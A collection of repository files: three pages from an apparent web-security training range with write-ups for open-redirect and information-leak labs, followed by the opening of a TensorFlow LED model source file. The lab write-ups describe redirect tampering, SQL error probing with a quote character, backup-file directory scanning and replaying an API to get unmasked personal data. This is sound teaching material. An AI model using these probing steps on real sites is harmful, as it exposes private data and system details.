<div class="content-wrapper" id="Wrapper">
<section class="content-header" id="WrapperHeader"></section>
<section class="content">
<div class="container-fluid">
<div id="notice"></div>
<div class="card card-primary card-outline">
<div class="card-header">
<h3 class="card-title"><strong>不安全的URL跳转</strong></h3>
</div>
<div class="card-body">
<div class="card card-primary">
<blockquote>
<p>想办法跳转到其他页面吧!</p>
</blockquote>
</div>
<div class="card col-md-12 col-lg-6 col-xl-4">
<a href="http://{ENV:NET_IP}:{ENV:FLASK_PORT}/api/ur/l1/getimg?url=http://{ENV:NET_IP}:{ENV:NGINX_PORT}/pages/urlredirect/URL.jpg">
<img class="card-img-top" src="URL.jpg" alt="Dist Photo 1">
</a>
</div>
</div>
</div>
<div class="card card-warning card-outline" id="hint">
<div class="card-header">
<h3 class="card-title"><strong>思路提示</strong></h3>
</div>
<div class="card-body">
<div>
<ul><li>仔细看看图片是怎么请求的吧!</li></ul>
</div>
</div>
</div>
<div class="card card-success card-outline" id="writeUp">
<div class="card-header">
<h3 class="card-title"><strong>正确实现</strong></h3>
</div>
<div class="card-body">
<ol start=""><li><p><span>进入漏洞页面后,打开F12元素,并指向图片:</span></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l1-1.png" referrerpolicy="no-referrer" alt="l1-1"></div></p></li><li><p><span>发现图片通过链接远程加载,考虑该URL是否可以恶意跳转。</span></p></li><li><p><span>抓包后,点击该图片,发现存在重定向:</span></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l1-2.png" referrerpolicy="no-referrer" alt="l1-2"></div></p></li><li><p><span>在请求包修改重定向链接到</span><code>http://www.baidu.com</code><span>,发现可以成功跳转到百度页面:</span></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l1-3.png" referrerpolicy="no-referrer" alt="l1-3"></div></p><p> </p></li></ol>
</div>
</div>
<div class="card card-info card-outline" id="showSource">
<div class="card-header">
<h3 class="card-title"><strong>源码解析</strong></h3>
</div>
<div class="card-body">
<ul style="margin-bottom: 0;"><li>在后端接收前端传来的URL时,只判断了链接是否合法,但未使用白名单对地址进行过滤:</li></ul>
<div class="card-body" style="padding-top: 0%; padding-bottom: 0%;"><object type="text/html" data="assist/sCode-1.html" width="100%" height="305px"></object></div>
</div>
</div>
<div class="card card-orange card-outline" id="repository">
<div class="card-header">
<h3 class="card-title"><strong>知识梳理</strong></h3>
</div>
<div class="card-body">
<div style="padding-top: 0%; padding-bottom: 0%;"><object type="text/html" data="assist/sum-1.html" width="100%" height="3750px"></object></div>
</div>
</div>
</div>
</section>
</div>
</div>
<aside class="control-sidebar control-sidebar-dark">
<!-- Control sidebar content goes here -->
</aside>
<footer class="main-footer"></footer>
<script src="../../dist/js/templateHandle.js"></script>
<script>
setWrapperHeader("URL重定向", ["不安全的URL跳转"]);
</script>
<script src="../../plugins/jquery/jquery.min.js"></script>
<script src="../../plugins/bootstrap/js/bootstrap.bundle.min.js"></script>
<script src="../../plugins/overlayScrollbars/js/jquery.overlayScrollbars.min.js"></script>
<script src="../../dist/js/adminlte.js"></script>
</body>
</html> |
2740908911/Pilot-Web | 6,471 | pilot-client/pages/infoleak/system_info.html | <!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>敏感信息泄露-系统信息泄露</title>
<link rel="stylesheet" href="../../plugins/googleapis/fonts.css">
<link rel="stylesheet" href="../../plugins/fontawesome-free/css/all.min.css">
<link rel="stylesheet" href="../../plugins/overlayScrollbars/css/OverlayScrollbars.min.css">
<link rel="stylesheet" href="../../dist/css/adminlte.min.css">
</head>
<body class="hold-transition light-mode sidebar-mini layout-fixed layout-navbar-fixed layout-footer-fixed">
<div class="wrapper">
<nav id="Navbar" class="main-header navbar navbar-expand navbar-light"></nav>
<aside id="Container" class="main-sidebar sidebar-light-primary elevation-4"></aside>
<div class="content-wrapper" id="Wrapper">
<section class="content-header" id="WrapperHeader"></section>
<section class="content">
<div class="container-fluid">
<div id="notice"></div>
<div class="card card-primary card-outline">
<div class="card-header">
<h3 class="card-title"><strong>系统信息泄露</strong></h3>
</div>
<div class="card-body">
<div class="card card-primary">
<blockquote>
<p>本页面包含三个泄露了系统相关信息的漏洞!可以点击右上角<strong>[知识梳理]</strong>查看漏洞分类喔!</p>
</blockquote>
</div>
<button type="submit" class="btn btn-primary" style="float: right;" onclick="skip()">先去下一关</button>
</div>
</div>
<div class="card card-warning card-outline" id="hint">
<div class="card-header">
<h3 class="card-title"><strong>思路提示</strong></h3>
</div>
<div class="card-body">
<div>
<ul><li>如果不做好系统信息搜集,那么漏洞挖掘会事倍功半!</li><br>
<li>随便翻翻吧,信息的泄露都是不经意间的~</li></ul>
</div>
</div>
</div>
<div class="card card-success card-outline" id="writeUp">
<div class="card-header">
<h3 class="card-title"><strong>正确实现</strong></h3>
</div>
<div class="card-body">
<ol start=""><li><p><span>进入漏洞页面后抓包,并点击页面中唯一按钮</span><strong><span>先去下一关</span></strong><span>,发现向服务端发送了一条GET请求:</span></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l1-1.png" referrerpolicy="no-referrer" alt="l1-1"></div></p></li><li><p><span>根据响应包提示,在参数</span><code>param</code><span>处输入字符</span><code>'</code><span>:</span></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l1-2.png" referrerpolicy="no-referrer" alt="l1-2"></div></p></li><li><p><span>可以发现接口返回状态500,并爆出一条数据库错误,此处泄漏了后端SQL信息。在拦截出修改参数并放包:</span></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l1-3.png" referrerpolicy="no-referrer" alt="l1-3"></div></p></li><li><p><span>找到了第一个系统信息泄露点。</span></p></li><li><p><span>在BurpSuite,HTTP历史记录里,通过信息扫描插件(如Hae、FinfoX等)或JS审计,可以发现一条JS请求泄露了内网IP,该IP可能是WEB服务器内网下的其他主机:</span></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l1-4.png" referrerpolicy="no-referrer" alt="l1-4"></div></p></li><li><p><span>找到了第二个系统信息泄漏点。</span></p></li><li><p><span>考虑到系统信息泄露的方式,对网页目录进行扫描,看是否存在备份文件或其他泄露文件。</span></p></li><li><p><span>此处使用Bp进行扫描,您也可以使用专门的目录扫描器,在爆破模块中加入变量并导入备份文件字典:</span></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l1-5.png" referrerpolicy="no-referrer" alt="l1-5"></div></p></li><li><p><span>扫描到存在</span><code>1.zip</code><span>,该网站可能存在备份文件:</span></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l1-6.png" referrerpolicy="no-referrer" alt="l1-6"></div></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l1-7.png" referrerpolicy="no-referrer" alt="l1-7"></div></p></li><li><p><span>找到了第三个系统信息泄露点。</span></p></li></ol>
</div>
</div>
<div class="card card-info card-outline" id="showSource">
<div class="card-header">
<h3 class="card-title"><strong>源码解析</strong></h3>
</div>
<div class="card-body">
<ul style="margin-bottom: 0;"><li>注意该接口,会将抛出的异常信息回调到响应中,致使系统信息泄露:</li></ul>
<div class="card-body" style="padding-top: 0%; padding-bottom: 0%;"><object type="text/html" data="assist/sCode-1.html" width="100%" height="490px"></object></div>
</div>
</div>
<div class="card card-orange card-outline" id="repository">
<div class="card-header">
<h3 class="card-title"><strong>知识梳理</strong></h3>
</div>
<div class="card-body">
<div style="padding-top: 0%; padding-bottom: 0%;"><object type="text/html" data="assist/sum-1.html" width="100%" height="2100px"></object></div>
</div>
</div>
</div>
</section>
</div>
</div>
<aside class="control-sidebar control-sidebar-dark">
<!-- Control sidebar content goes here -->
</aside>
<footer class="main-footer"></footer>
<script src="../../dist/js/templateHandle.js"></script>
<script>
setWrapperHeader("敏感信息泄露", ["系统信息泄露"]);
</script>
<script src="../../plugins/jquery/jquery.min.js"></script>
<script src="../../plugins/bootstrap/js/bootstrap.bundle.min.js"></script>
<script src="../../plugins/overlayScrollbars/js/jquery.overlayScrollbars.min.js"></script>
<script src="../../dist/js/adminlte.js"></script>
<script src="system_info.js"></script>
<script>
function skip(){
$("#notice")[0].innerHTML = generateNote("少年,不能急于求成,要不再看看?");
$.get({
url: `http://{ENV:NET_IP}:{ENV:FLASK_PORT}/api/il/l1/getNext1?param=1`,
dataType: "json",
success(resp){
if(resp["status"] === "500"){
$.get({
url: `http://{ENV:NET_IP}:{ENV:FLASK_PORT}/api/il/l1/getNext2`,
dataType: "json"
})
}
}
})
}
</script>
</body>
</html>
|
2740908911/Pilot-Web | 6,791 | pilot-client/pages/infoleak/private_info.html | <!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>敏感信息泄露-隐私信息泄露</title>
<link rel="stylesheet" href="../../plugins/googleapis/fonts.css">
<link rel="stylesheet" href="../../plugins/fontawesome-free/css/all.min.css">
<link rel="stylesheet" href="../../plugins/overlayScrollbars/css/OverlayScrollbars.min.css">
<link rel="stylesheet" href="../../dist/css/adminlte.min.css">
</head>
<body class="hold-transition light-mode sidebar-mini layout-fixed layout-navbar-fixed layout-footer-fixed">
<div class="wrapper">
<nav id="Navbar" class="main-header navbar navbar-expand navbar-light"></nav>
<aside id="Container" class="main-sidebar sidebar-light-primary elevation-4"></aside>
<div class="content-wrapper" id="Wrapper">
<section class="content-header" id="WrapperHeader"></section>
<section class="content">
<div class="container-fluid">
<div id="notice"></div>
<div class="card card-primary card-outline">
<div class="card-header">
<h3 class="card-title"><strong>隐私信息泄露</strong></h3>
</div>
<div class="card-body">
<div class="card card-primary">
<blockquote>
<p>本页面存在一个泄露了隐私信息的漏洞!可以点击右上角<strong>[知识梳理]</strong>查看漏洞分类喔!</p>
</blockquote>
</div>
<div class="card card-outline">
<div class="card-header">
<h3 class="card-title"><strong>用户银行卡绑定信息</strong></h3>
</div>
<div class="card-body">
<table class="table table-bordered">
<thead>
<tr>
<th>序号</th>
<th>姓名</th>
<th>生日</th>
<th>手机号</th>
<th>银行卡号</th>
<th>地区</th>
</tr>
</thead>
<tbody id="userData"></tbody>
</table>
</div>
</div>
</div>
</div>
<div class="card card-warning card-outline" id="hint">
<div class="card-header">
<h3 class="card-title"><strong>思路提示</strong></h3>
</div>
<div class="card-body">
<div>
<ul><li>所以你愿意让黑客获取自己的身份信息吗?</li></ul>
</div>
</div>
</div>
<div class="card card-success card-outline" id="writeUp">
<div class="card-header">
<h3 class="card-title"><strong>正确实现</strong></h3>
</div>
<div class="card-body">
<ol start=""><li><p><span>进入漏洞页面,发现此页展示了用户银行卡绑定信息,且对关键隐私信息进行了打码屏蔽:</span></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l2-1.png" referrerpolicy="no-referrer" alt="l2-1"></div></p></li><li><p><span>抓包刷新页面,发现获取数据的接口,重放后发现接口并未对手机号和银行卡等信息打码:</span></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l2-2.png" referrerpolicy="no-referrer" alt="l2-2"></div></p></li><li><p><span>因此可以分析,此处对隐私信息的打码位于客户端的JS代码中,只能起到掩耳盗铃的作用,无法保障隐私数据安全。</span></p></li></ol>
</div>
</div>
<div class="card card-info card-outline" id="showSource">
<div class="card-header">
<h3 class="card-title"><strong>源码解析</strong></h3>
</div>
<div class="card-body">
<ul style="margin-bottom: 0;"><li>隐私信息在前端使用JS进行打码加密,但通过抓取接口可直接获取隐私信息:</li></ul>
<div class="card-body" style="padding-top: 0%; padding-bottom: 0%;"><object type="text/html" data="assist/sCode-2.html" width="100%" height="1040px"></object></div>
</div>
</div>
<div class="card card-orange card-outline" id="repository">
<div class="card-header">
<h3 class="card-title"><strong>知识梳理</strong></h3>
</div>
<div class="card-body">
<div style="padding-top: 0%; padding-bottom: 0%;"><object type="text/html" data="assist/sum-2.html" width="100%" height="1440px"></object></div>
</div>
</div>
</div>
</section>
</div>
</div>
<aside class="control-sidebar control-sidebar-dark">
<!-- Control sidebar content goes here -->
</aside>
<footer class="main-footer"></footer>
<script src="../../dist/js/templateHandle.js"></script>
<script>
setWrapperHeader("敏感信息泄露", ["隐私信息泄露"]);
</script>
<script src="../../plugins/jquery/jquery.min.js"></script>
<script src="../../plugins/bootstrap/js/bootstrap.bundle.min.js"></script>
<script src="../../plugins/overlayScrollbars/js/jquery.overlayScrollbars.min.js"></script>
<script src="../../dist/js/adminlte.js"></script>
<script>
function getUserinfo() {
$.get({
url: `http://{ENV:NET_IP}:{ENV:FLASK_PORT}/api/il/l2/getUserinfo`,
success(resp) {
if (resp && resp.status === "200" && Array.isArray(resp.msg)) {
updateTable(resp.msg);
}
}
});
}
function updateTable(data) {
var tableBody = $('#userData');
tableBody.empty(); // 清空现有的数据
data.forEach(function(item, index) {
var row = $('<tr></tr>');
row.append($('<td></td>').text(item.ID));
row.append($('<td></td>').text(item.NAME));
row.append($('<td></td>').text(item.BIRTH));
row.append($('<td></td>').text(maskPhoneNumber(item.PHONE)));
row.append($('<td></td>').text(maskCreditNumber(item.CREDIT)));
row.append($('<td></td>').text(item.ADDRESS));
tableBody.append(row);
});
}
function maskPhoneNumber(phone) {
return phone.replace(/(\d{3})\d{4}(\d{4})/, '$1****$2');
}
function maskCreditNumber(credit) {
return credit.replace(/(\d{4})\d{8}(\d{4})/, '$1********$2');
}
getUserinfo();
</script>
</body>
</html>
|
27182812/ChatGLM-LLaMA-chinese-insturct | 118,552 | src/transformers/models/led/modeling_tf_led.py | # coding=utf-8
# Copyright 2021 Iz Beltagy, Matthew E. Peters, Arman Cohan and The HuggingFace Inc. team. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
""" TF 2.0 LED model."""
import random
from dataclasses import dataclass
from typing import List, Optional, Tuple, Union
import numpy as np
import tensorflow as tf
from ...activations_tf import get_tf_activation
from ...modeling_tf_outputs import TFBaseModelOutputWithPastAndCrossAttentions
# Public API
from ...modeling_tf_utils import (
TFModelInputType,
TFPreTrainedModel,
get_initializer,
keras_serializable,
unpack_inputs,
)
from ...tf_utils import shape_list, stable_softmax
from ...utils import (
ContextManagers,
ModelOutput,
add_code_sample_docstrings,
add_start_docstrings,
add_start_docstrings_to_model_forward,
logging,
replace_return_docstrings,
)
from .configuration_led import LEDConfig
logger = logging.get_logger(__name__)
_CHECKPOINT_FOR_DOC = "allenai/led-base-16384"
_CONFIG_FOR_DOC = "LEDConfig"
LARGE_NEGATIVE = -1e8
# Copied from transformers.models.bart.modeling_tf_bart.shift_tokens_right
def shift_tokens_right(input_ids: tf.Tensor, pad_token_id: int, decoder_start_token_id: int):
pad_token_id = tf.cast(pad_token_id, input_ids.dtype)
decoder_start_token_id = tf.cast(decoder_start_token_id, input_ids.dtype)
start_tokens = tf.fill(
(shape_list(input_ids)[0], 1), tf.convert_to_tensor(decoder_start_token_id, input_ids.dtype)
)
shifted_input_ids = tf.concat([start_tokens, input_ids[:, :-1]], -1)
# replace possible -100 values in labels by `pad_token_id`
shifted_input_ids = tf.where(
shifted_input_ids == -100,
tf.fill(shape_list(shifted_input_ids), tf.convert_to_tensor(pad_token_id, input_ids.dtype)),
shifted_input_ids,
)
# "Verify that `labels` has only positive values and -100"
assert_gte0 = tf.debugging.assert_greater_equal(shifted_input_ids, tf.constant(0, dtype=input_ids.dtype))
# Make sure the assertion op is called by wrapping the result in an identity no-op
with tf.control_dependencies([assert_gte0]):
shifted_input_ids = tf.identity(shifted_input_ids)
return shifted_input_ids
# Copied from transformers.models.bart.modeling_tf_bart._make_causal_mask
def _make_causal_mask(input_ids_shape: tf.TensorShape, past_key_values_length: int = 0):
"""
Make causal mask used for bi-directional self-attention.
"""
bsz = input_ids_shape[0]
tgt_len = input_ids_shape[1]
mask = tf.ones((tgt_len, tgt_len)) * LARGE_NEGATIVE
mask_cond = tf.range(shape_list(mask)[-1])
mask = tf.where(mask_cond < tf.reshape(mask_cond + 1, (shape_list(mask)[-1], 1)), 0.0, mask)
if past_key_values_length > 0:
mask = tf.concat([tf.zeros((tgt_len, past_key_values_length)), mask], axis=-1)
return tf.tile(mask[None, None, :, :], (bsz, 1, 1, 1))
# Copied from transformers.models.bart.modeling_tf_bart._expand_mask
def _expand_mask(mask: tf.Tensor, tgt_len: Optional[int] = None):
"""
Expands attention_mask from `[bsz, seq_len]` to `[bsz, 1, tgt_seq_len, src_seq_len]`.
"""
src_len = shape_list(mask)[1]
tgt_len = tgt_len if tgt_len is not None else src_len
one_cst = tf.constant(1.0)
mask = tf.cast(mask, dtype=one_cst.dtype)
expanded_mask = tf.tile(mask[:, None, None, :], (1, 1, tgt_len, 1))
return (one_cst - expanded_mask) * LARGE_NEGATIVE
class TFLEDLearnedPositionalEmbedding(tf.keras.layers.Embedding):
"""
This module learns positional embeddings up to a fixed maximum size.
"""
def __init__(self, num_embeddings: int, embedding_dim: int, **kwargs):
super().__init__(num_embeddings, embedding_dim, **kwargs)
def call(self, input_shape: tf.TensorShape, past_key_values_length: int = 0):
"""Input is expected to be of size [bsz x seqlen]."""
seq_len = input_shape[1]
position_ids = tf.range(seq_len, delta=1, name="range")
position_ids += past_key_values_length
return super().call(tf.cast(position_ids, dtype=tf.int32))
# Copied from transformers.models.longformer.modeling_tf_longformer.TFLongformerSelfAttention with TFLongformer->TFLEDEncoder
class TFLEDEncoderSelfAttention(tf.keras.layers.Layer):
def __init__(self, config, layer_id, **kwargs):
super().__init__(**kwargs)
if config.hidden_size % config.num_attention_heads != 0:
raise ValueError(
f"The hidden size ({config.hidden_size}) is not a multiple of the number of attention "
f"heads ({config.num_attention_heads}"
)
self.num_heads = config.num_attention_heads
self.head_dim = int(config.hidden_size / config.num_attention_heads)
self.embed_dim = config.hidden_size
self.query = tf.keras.layers.Dense(
self.embed_dim,
kernel_initializer=get_initializer(config.initializer_range),
name="query",
)
self.key = tf.keras.layers.Dense(
self.embed_dim,
kernel_initializer=get_initializer(config.initializer_range),
name="key",
)
self.value = tf.keras.layers.Dense(
self.embed_dim,
kernel_initializer=get_initializer(config.initializer_range),
name="value",
)
# separate projection layers for tokens with global attention
self.query_global = tf.keras.layers.Dense(
self.embed_dim,
kernel_initializer=get_initializer(config.initializer_range),
name="query_global",
)
self.key_global = tf.keras.layers.Dense(
self.embed_dim,
kernel_initializer=get_initializer(config.initializer_range),
name="key_global",
)
self.value_global = tf.keras.layers.Dense(
self.embed_dim,
kernel_initializer=get_initializer(config.initializer_range),
name="value_global",
)
self.dropout = tf.keras.layers.Dropout(config.attention_probs_dropout_prob)
self.global_dropout = tf.keras.layers.Dropout(config.attention_probs_dropout_prob)
self.layer_id = layer_id
attention_window = config.attention_window[self.layer_id]
assert (
attention_window % 2 == 0
), f"`attention_window` for layer {self.layer_id} has to be an even value. Given {attention_window}"
assert (
attention_window > 0
), f"`attention_window` for layer {self.layer_id} has to be positive. Given {attention_window}"
self.one_sided_attn_window_size = attention_window // 2
def call(
self,
inputs,
training=False,
):
"""
LongformerSelfAttention expects *len(hidden_states)* to be multiple of *attention_window*. Padding to
*attention_window* happens in LongformerModel.forward to avoid redoing the padding on each layer.
The *attention_mask* is changed in [`LongformerModel.forward`] from 0, 1, 2 to:
- -10000: no attention
- 0: local attention
- +10000: global attention
"""
# retrieve input args
(
hidden_states,
attention_mask,
layer_head_mask,
is_index_masked,
is_index_global_attn,
is_global_attn,
) = inputs
# project hidden states
query_vectors = self.query(hidden_states)
key_vectors = self.key(hidden_states)
value_vectors = self.value(hidden_states)
batch_size, seq_len, embed_dim = shape_list(hidden_states)
tf.debugging.assert_equal(
embed_dim,
self.embed_dim,
message=f"hidden_states should have embed_dim = {self.embed_dim}, but has {embed_dim}",
)
# normalize query
query_vectors /= tf.math.sqrt(tf.cast(self.head_dim, dtype=query_vectors.dtype))
query_vectors = tf.reshape(query_vectors, (batch_size, seq_len, self.num_heads, self.head_dim))
key_vectors = tf.reshape(key_vectors, (batch_size, seq_len, self.num_heads, self.head_dim))
# attn_probs = (batch_size, seq_len, num_heads, window*2+1)
attn_scores = self._sliding_chunks_query_key_matmul(
query_vectors, key_vectors, self.one_sided_attn_window_size
)
# values to pad for attention probs
remove_from_windowed_attention_mask = attention_mask != 0
# cast to fp32/fp16 then replace 1's with -inf
float_mask = tf.cast(remove_from_windowed_attention_mask, dtype=query_vectors.dtype) * LARGE_NEGATIVE
# diagonal mask with zeros everywhere and -inf inplace of padding
diagonal_mask = self._sliding_chunks_query_key_matmul(
tf.ones(shape_list(attention_mask)),
float_mask,
self.one_sided_attn_window_size,
)
# pad local attention probs
attn_scores += diagonal_mask
tf.debugging.assert_equal(
shape_list(attn_scores),
[batch_size, seq_len, self.num_heads, self.one_sided_attn_window_size * 2 + 1],
message=(
f"attn_probs should be of size ({batch_size}, {seq_len}, {self.num_heads},"
f" {self.one_sided_attn_window_size * 2 + 1}), but is of size {shape_list(attn_scores)}"
),
)
# compute global attn indices required through out forward fn
(
max_num_global_attn_indices,
is_index_global_attn_nonzero,
is_local_index_global_attn_nonzero,
is_local_index_no_global_attn_nonzero,
) = self._get_global_attn_indices(is_index_global_attn)
# this function is only relevant for global attention
attn_scores = tf.cond(
is_global_attn,
lambda: self._concat_with_global_key_attn_probs(
attn_scores=attn_scores,
query_vectors=query_vectors,
key_vectors=key_vectors,
max_num_global_attn_indices=max_num_global_attn_indices,
is_index_global_attn_nonzero=is_index_global_attn_nonzero,
is_local_index_global_attn_nonzero=is_local_index_global_attn_nonzero,
is_local_index_no_global_attn_nonzero=is_local_index_no_global_attn_nonzero,
),
lambda: attn_scores,
)
attn_probs = stable_softmax(attn_scores, axis=-1)
# softmax sometimes inserts NaN if all positions are masked, replace them with 0
# Make sure to create a mask with the proper shape:
# if is_global_attn==True => [batch_size, seq_len, self.num_heads, self.one_sided_attn_window_size * 2 + max_num_global_attn_indices + 1]
# if is_global_attn==False => [batch_size, seq_len, self.num_heads, self.one_sided_attn_window_size * 2 + 1]
masked_index = tf.cond(
is_global_attn,
lambda: tf.tile(
is_index_masked[:, :, None, None],
(1, 1, self.num_heads, self.one_sided_attn_window_size * 2 + max_num_global_attn_indices + 1),
),
lambda: tf.tile(
is_index_masked[:, :, None, None],
(1, 1, self.num_heads, self.one_sided_attn_window_size * 2 + 1),
),
)
attn_probs = tf.where(
masked_index,
tf.zeros(shape_list(masked_index), dtype=attn_probs.dtype),
attn_probs,
)
if layer_head_mask is not None:
tf.debugging.assert_equal(
shape_list(layer_head_mask),
[self.num_heads],
message=(
f"Head mask for a single layer should be of size {(self.num_heads)}, but is"
f" {shape_list(layer_head_mask)}"
),
)
attn_probs = tf.reshape(layer_head_mask, (1, 1, -1, 1)) * attn_probs
# apply dropout
attn_probs = self.dropout(attn_probs, training=training)
value_vectors = tf.reshape(value_vectors, (batch_size, seq_len, self.num_heads, self.head_dim))
# if global attention, compute sum of global and local attn
attn_output = tf.cond(
is_global_attn,
lambda: self._compute_attn_output_with_global_indices(
value_vectors=value_vectors,
attn_probs=attn_probs,
max_num_global_attn_indices=max_num_global_attn_indices,
is_index_global_attn_nonzero=is_index_global_attn_nonzero,
is_local_index_global_attn_nonzero=is_local_index_global_attn_nonzero,
),
lambda: self._sliding_chunks_matmul_attn_probs_value(
attn_probs, value_vectors, self.one_sided_attn_window_size
),
)
tf.debugging.assert_equal(
shape_list(attn_output), [batch_size, seq_len, self.num_heads, self.head_dim], message="Unexpected size"
)
attn_output = tf.reshape(attn_output, (batch_size, seq_len, embed_dim))
# compute value for global attention and overwrite to attention output
# TODO: remove the redundant computation
attn_output, global_attn_probs = tf.cond(
is_global_attn,
lambda: self._compute_global_attn_output_from_hidden(
attn_output=attn_output,
hidden_states=hidden_states,
max_num_global_attn_indices=max_num_global_attn_indices,
layer_head_mask=layer_head_mask,
is_local_index_global_attn_nonzero=is_local_index_global_attn_nonzero,
is_index_global_attn_nonzero=is_index_global_attn_nonzero,
is_local_index_no_global_attn_nonzero=is_local_index_no_global_attn_nonzero,
is_index_masked=is_index_masked,
training=training,
),
lambda: (attn_output, tf.zeros((batch_size, self.num_heads, max_num_global_attn_indices, seq_len))),
)
# make sure that local attention probabilities are set to 0 for indices of global attn
# Make sure to create a mask with the proper shape:
# if is_global_attn==True => [batch_size, seq_len, self.num_heads, self.one_sided_attn_window_size * 2 + max_num_global_attn_indices + 1]
# if is_global_attn==False => [batch_size, seq_len, self.num_heads, self.one_sided_attn_window_size * 2 + 1]
masked_global_attn_index = tf.cond(
is_global_attn,
lambda: tf.tile(
is_index_global_attn[:, :, None, None],
(1, 1, self.num_heads, self.one_sided_attn_window_size * 2 + max_num_global_attn_indices + 1),
),
lambda: tf.tile(
is_index_global_attn[:, :, None, None],
(1, 1, self.num_heads, self.one_sided_attn_window_size * 2 + 1),
),
)
attn_probs = tf.where(
masked_global_attn_index,
tf.zeros(shape_list(masked_global_attn_index), dtype=attn_probs.dtype),
attn_probs,
)
outputs = (attn_output, attn_probs, global_attn_probs)
return outputs
def _sliding_chunks_query_key_matmul(self, query, key, window_overlap):
"""
Matrix multiplication of query and key tensors using with a sliding window attention pattern. This
implementation splits the input into overlapping chunks of size 2w (e.g. 512 for pretrained Longformer) with an
overlap of size window_overlap
"""
batch_size, seq_len, num_heads, head_dim = shape_list(query)
tf.debugging.assert_equal(
seq_len % (window_overlap * 2),
0,
message=f"Sequence length should be multiple of {window_overlap * 2}. Given {seq_len}",
)
tf.debugging.assert_equal(
shape_list(query),
shape_list(key),
message=(
f"Shape of query and key should be equal, but got query: {shape_list(query)} and key:"
f" {shape_list(key)}"
),
)
chunks_count = seq_len // window_overlap - 1
# group batch_size and num_heads dimensions into one, then chunk seq_len into chunks of size window_overlap * 2
query = tf.reshape(
tf.transpose(query, (0, 2, 1, 3)),
(batch_size * num_heads, seq_len, head_dim),
)
key = tf.reshape(tf.transpose(key, (0, 2, 1, 3)), (batch_size * num_heads, seq_len, head_dim))
chunked_query = self._chunk(query, window_overlap)
chunked_key = self._chunk(key, window_overlap)
# matrix multiplication
# bcxd: batch_size * num_heads x chunks x 2window_overlap x head_dim
# bcyd: batch_size * num_heads x chunks x 2window_overlap x head_dim
# bcxy: batch_size * num_heads x chunks x 2window_overlap x 2window_overlap
chunked_query = tf.cast(chunked_query, dtype=chunked_key.dtype)
chunked_attention_scores = tf.einsum("bcxd,bcyd->bcxy", chunked_query, chunked_key) # multiply
# convert diagonals into columns
paddings = tf.convert_to_tensor([[0, 0], [0, 0], [0, 1], [0, 0]])
diagonal_chunked_attention_scores = self._pad_and_transpose_last_two_dims(chunked_attention_scores, paddings)
# allocate space for the overall attention matrix where the chunks are combined. The last dimension
# has (window_overlap * 2 + 1) columns. The first (window_overlap) columns are the window_overlap lower triangles (attention from a word to
# window_overlap previous words). The following column is attention score from each word to itself, then
# followed by window_overlap columns for the upper triangle.
# copy parts from diagonal_chunked_attention_scores into the combined matrix of attentions
# - copying the main diagonal and the upper triangle
# TODO: This code is most likely not very efficient and should be improved
diagonal_attn_scores_up_triang = tf.concat(
[
diagonal_chunked_attention_scores[:, :, :window_overlap, : window_overlap + 1],
diagonal_chunked_attention_scores[:, -1:, window_overlap:, : window_overlap + 1],
],
axis=1,
)
# - copying the lower triangle
diagonal_attn_scores_low_triang = tf.concat(
[
tf.zeros(
(batch_size * num_heads, 1, window_overlap, window_overlap),
dtype=diagonal_chunked_attention_scores.dtype,
),
diagonal_chunked_attention_scores[:, :, -(window_overlap + 1) : -1, window_overlap + 1 :],
],
axis=1,
)
diagonal_attn_scores_first_chunk = tf.concat(
[
tf.roll(
diagonal_chunked_attention_scores,
shift=[1, window_overlap],
axis=[2, 3],
)[:, :, :window_overlap, :window_overlap],
tf.zeros(
(batch_size * num_heads, 1, window_overlap, window_overlap),
dtype=diagonal_chunked_attention_scores.dtype,
),
],
axis=1,
)
first_chunk_mask = (
tf.tile(
tf.range(chunks_count + 1, dtype=tf.int64)[None, :, None, None],
(batch_size * num_heads, 1, window_overlap, window_overlap),
)
< 1
)
diagonal_attn_scores_low_triang = tf.where(
first_chunk_mask,
diagonal_attn_scores_first_chunk,
diagonal_attn_scores_low_triang,
)
# merging upper and lower triangle
diagonal_attention_scores = tf.concat(
[diagonal_attn_scores_low_triang, diagonal_attn_scores_up_triang], axis=-1
)
# separate batch_size and num_heads dimensions again
diagonal_attention_scores = tf.transpose(
tf.reshape(
diagonal_attention_scores,
(batch_size, num_heads, seq_len, 2 * window_overlap + 1),
),
(0, 2, 1, 3),
)
diagonal_attention_scores = self._mask_invalid_locations(diagonal_attention_scores, window_overlap)
return diagonal_attention_scores
@staticmethod
def _mask_invalid_locations(input_tensor, window_overlap):
# create correct upper triangle bool mask
mask_2d_upper = tf.reverse(
tf.linalg.band_part(tf.ones(shape=(window_overlap, window_overlap + 1)), -1, 0),
axis=[0],
)
# pad to full matrix
padding = tf.convert_to_tensor(
[[0, shape_list(input_tensor)[1] - window_overlap], [0, shape_list(input_tensor)[3] - window_overlap - 1]]
)
# create lower mask
mask_2d = tf.pad(mask_2d_upper, padding)
# combine with upper mask
mask_2d = mask_2d + tf.reverse(mask_2d, axis=[0, 1])
# broadcast to full matrix
mask_4d = tf.tile(mask_2d[None, :, None, :], (shape_list(input_tensor)[0], 1, 1, 1))
# inf tensor used for masking
inf_tensor = -float("inf") * tf.ones_like(input_tensor)
# mask
input_tensor = tf.where(tf.math.greater(mask_4d, 0), inf_tensor, input_tensor)
return input_tensor
def _sliding_chunks_matmul_attn_probs_value(self, attn_probs, value, window_overlap):
"""
